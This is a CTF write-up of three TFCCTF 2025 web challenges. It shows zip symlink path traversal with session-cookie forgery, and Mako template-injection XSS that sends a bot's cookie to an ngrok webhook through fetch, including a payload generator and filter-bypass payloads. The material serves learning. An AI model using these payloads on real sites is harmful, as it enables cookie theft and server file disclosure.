TFC CTF 2025 Writeups
These are writeups for some of the challenges I solved during TFCCTF 2025.
Slippy
Slipping Jimmy keeps playing with Finger.

The server allows zip file upload. Once the user upload a zip file, it tries to extract its contents into the uploads directory.
router.post('/upload', upload.single('zipfile'), (req, res) => {
const zipPath = req.file.path;
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.mkdirSync(userDir, { recursive: true });
// Command: unzip temp/file.zip -d target_dir
execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
fs.unlinkSync(zipPath); // Clean up temp file
if (err) {
console.error('Unzip failed:', stderr);
return res.status(500).send('Unzip error');
}
res.redirect('/files');
});
});
Files inside the uploads directory is listed in the /files
endpoint:
router.get('/files', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
And each files inside it can be downloaded by the user:
router.get('/files/:filename', (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.session.userId);
const requestedPath = path.normalize(req.params.filename);
const filePath = path.resolve(userDir, requestedPath);
// Prevent path traversal
if (!filePath.startsWith(path.resolve(userDir))) {
return res.status(400).send('Invalid file path');
}
if (fs.existsSync(filePath) && fs.statSync(filePath).isFile()) {
res.download(filePath);
} else {
res.status(404).send('File not found');
}
});
With this info we can try creating a zip file with symlinks to files like /etc/passwd
and when the server extracts the file inside the uploads directory, will point to /etc/passwd
of the server.
We can use this technique to create a zip containing a symlink pointing to the flag in the server and read it once the server extracts our zip file. But there’s a line in the Dockerfile
that stops us from doing this:
RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" && echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir"
It make sure that the flag.txt
is located in a randomly generated directory. Without knowing the name of this directory, we can’t create a proper symlink to the flag. Therefore somehow we have to leak the name of this directory to read the flag.
There’s a /debug/files/
route which can be used to list the files in a directory:
router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});
We can pass any path to session_id
query parameter to list the files inside that path.
It uses a developmentOnly
middleware to checks if the session’s userId
is “develop” and the requesting IP is 127.0.0.1
:
module.exports = function (req, res, next) {
console.log(req.session.userId, req.ip);
if (req.session.userId === "develop" && req.ip == "127.0.0.1") {
return next();
}
res.status(403).send("Forbidden: Development access only");
};
IP address check can be bypassed by adding an X-Forwarded-For: 127.0.0.1
header to the request. But forging a session with userId
set to “develop” is not that easy, even if we have access to the session secret.
The app uses express-session
for session management. Session data is not stored in cookie itself, just the session ID. Session data is stored server side (by default using a MemoryStore
which will store it inside memory, but there are other compatible persistent storage methods). The client only have access to the connect.sid
cookie which consists of the session ID, signed using the session secret.
The format of a connect.sid
is as follows:
's:' + session_id + '.' + crypto.createHmac('sha256', secret).update(val).digest('base64').replace(/\=+$/, '');
So even if we have the session secret, all we can control is the session ID.
Fortunately for us a session with userId
set to “develop” is created on startup of the application:
const store = new session.MemoryStore();
const sessionData = {
cookie: {
path: '/',
httpOnly: true,
maxAge: 1000 * 60 * 60 * 48 // 1 hour
},
userId: 'develop'
};
store.set('<REDACTED>', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});
app.use(
session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
store: store,
}),
);
With this info all we have to do is to leak the server.js
file to read the session ID, and leak the .env
file to read the SESSION_SECRET
and sign a new connect.sid
cookie with the session ID and secret.
Exploit
Create a symlink for files .env
and server.js
and create a zip file with these files
ln -s /app/.env env
ln -s /app/server.js server.js
zip --symlinks test.zip env server.js
Upload the zip, and download the env
and server.js
to read the session id and secret.

Sign a new connect.sid
cookie using these values:
const crypto = require('crypto');
function sign(value, secret) {
return value + '.' + crypto
.createHmac('sha256', secret)
.update(value)
.digest('base64')
.replace(/\=+$/, '');
};
console.log('s:' + sign('session_id', 'session_secret'));
Send request to /debug/files
with the generated cookie:
curl -ik 'http://127.0.0.1:3000/debug/files?session_id=/../../../../' -H 'X-Forwarded-For: 127.0.0.1' -H 'Cookie: connect.sid=s:session_cookie'
It will show the directory in the root, where the flag.txt
is present:

Create another zip with symlink to flag:
ln -s /h8hz72zl/flag.txt flag.txt
zip --symlinks flag.zip flag.txt
Upload the zip and download the flag:

Kissfixess
Kiss My Fixes.
Ain’t nobody solving this now.

This one is an XSS challenge. The input_name
parameter is reflected in the page. There’s a chromium bot that will visit url with the name we provide when we click the Report Name button:
def visit_url(name: str, timeout: int = 30):
[...]
try:
[...]
driver.add_cookie({
"name": "flag",
"value": "TFCCTF{~}",
})
encoded_name = quote(name)
driver.get(f"{URL_BASE}/?name_input={encoded_name}")
# allow some time for JS to execute
time.sleep(200)
driver.quit()
The flag is inside the cookie of this bot. We have to leak it via XSS. But some characters are filtered from the input_name
parameter:
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]
def escape_html(text):
"""Escapes HTML special characters in the given text."""
return text.replace("&", "&").replace("<", "<").replace(">", ">").replace("(", "(").replace(")", ")")
def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Parse the path and extract query parameters
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
name = params.get("name_input", [""])[0]
for b in banned:
if b in name:
name = "Banned characters detected!"
print(b)
[...]
Even characters like s
and l
are blocked. The server uses mako
template engine and since ${}
characters are not in the banned list we can try template injection:

Even though template injection works, we can’t escalate it into RCE. But what we can do is to try generating an XSS payload using some python quirks.
We can construct characters using %c
format string. ${'%c'%60}
will produce <
:

I made a script that will generate the payload for a given string:
#!/usr/bin/env python3
banned = ["s","l","(",")","_",".",'"',"\\",";",",","|","&","<",">"]
payload = "<script>fetch('http://WEBHOOK/?c='+document.cookie)</script>"
final_payload = ""
for i in payload:
if i in banned:
val = str(ord(i))
final_payload += "${'%c'%" + val + "}"
else:
final_payload += i
print(final_payload)
I used ngrok
and nc
as the web hook. Final payload looks like this:
${'%c'%60}${'%c'%115}cript${'%c'%62}fetch${'%c'%40}'http://0${'%c'%46}tcp${'%c'%46}in${'%c'%46}ngrok${'%c'%46}io:11938/?c='+document${'%c'%46}cookie${'%c'%41}${'%c'%60}/${'%c'%115}cript${'%c'%62}
We have to report this payload to the bot and it will leak the flag:

Kissfixess Revenge
Okay, NOW ain’t nobody gonna solve it.
This follows the same format as before, but with some more added characters to the filter. The banned
list now include %
as well:
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="]
And it also checks the code contains .
character after rendering the template with our input:
def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", name_to_display or "")
template = Template(templ, lookup=lookup)
tp = template.render(name_to_display=name_to_display, banned="&<>()", copyright="haha", help="haha", quit="haha")
try:
tp_data = tp.split("<div class=\"rainbow-text\">")[1].split("</div>")[0]
if "." in tp_data or "href" in tp_data.lower():
name = "Banned characters detected!"
return name
except IndexError:
name = "Something went wrong!"
return name
return tp
We need .
in our payload for adding in our web hook. The code only checks the value inside: <div class="rainbow-text">
and </div>
based on the assumption that the rendered html code will follow this format:
<div class="rainbow-text">NAME</div>
Where name will be replaced with the user input. But if we gave it an input like: hi</div><Script>...</Script>
, the tp_data
variable will only take hi
as the user input and checks for .
inside this string.
So by prefixing our payload with an extra </div>
will help us bypass this check. But this is not enough, the .
character is also inside the banned
list. So we still have to generate it somehow.
This can be done using String['fromCharCode'](46)
in javascript.
Now we can’t use %
character to generate rest of the blocked character like we did in the previous challenge. But we don’t really have to generate every character like this. The banned list is only blocking s
, we can still use S
for the script tag since html is case insensitive. Characters like <>()
are directly passed to the banned
variable when rendering the template:
tp = template.render(name_to_display=name_to_display, banned="&<>()", copyright="haha", help="haha", quit="haha")
We can access the banned
variable defined here inside mako template. ${banned[1]}
will produce <
and so on.
With this we can easily create a working payload:
payload = "hi</div><script>fetch('http://0.tcp.in.ngrok.io:17940/?'+document['cookie'])</script>"
# Convert `.` character
payload = payload.replace(".", "'+ String['fromCharCode'](46) +'")
payload = payload.replace("s", "S")
# '(' and ')' are available in banned variable
payload = payload.replace("(", "${banned[3]}")
payload = payload.replace(")", "${banned[4]}")
print(payload)
The final payload will look like this:
hi</div><Script>fetch${banned[3]}'http://0'+ String['fromCharCode']${banned[3]}46${banned[4]} +'tcp'+ String['fromCharCode']${banned[3]}46${banned[4]} +'in'+ String['fromCharCode']${banned[3]}46${banned[4]} +'ngrok'+ String['fromCharCode']${banned[3]}46${banned[4]} +'io:17940/?'+document['cookie']${banned[4]}</Script>
We can report this to the bot and it will make a request to our web hook with the cookie:
